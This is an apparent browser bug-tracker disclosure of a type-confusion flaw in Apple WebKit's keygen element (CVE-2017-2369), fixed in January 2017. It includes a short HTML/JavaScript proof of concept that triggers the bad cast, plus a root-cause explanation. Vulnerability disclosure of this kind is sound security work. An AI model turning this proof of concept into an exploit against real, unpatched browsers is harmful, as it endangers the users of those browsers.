New issue
Advanced search Search tips
Starred by 1 user
Status: Fixed
Owner:
Closed: Jan 2017
Cc:



Sign in to add a comment
Apple WebKit: Type confusion in HTMLKeygenElement
Project Member Reported by ifratric@google.com, Nov 18 2016 Back to list
PoC:

<keygen id="keygen_element" style="position:absolute; height: 100px; width: 100px;">
<script>
var range = document.caretRangeFromPoint(50, 50);
var shadow_tree_container = range.commonAncestorContainer;
shadow_tree_container.prepend("foo");
keygen_element.disabled = true;
</script>

What happens here:
1. caretRangeFromPoint() allows accessing (and modifying) userAgentShadowRoot from JavaScript
2. HTMLKeygenElement::shadowSelect() blindly casts the first child of the userAgentShadowRoot to HTMLSelectElement without checking the Node type.


This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

 
Project Member Comment 1 by ifratric@google.com, Jan 20 2017
Labels: CVE-2017-2369
Project Member Comment 2 by ifratric@google.com, Jan 31 2017
Labels: -Restrict-View-Commit
Status: Fixed
Fixed on 23 Jan 2017
Sign in to add a comment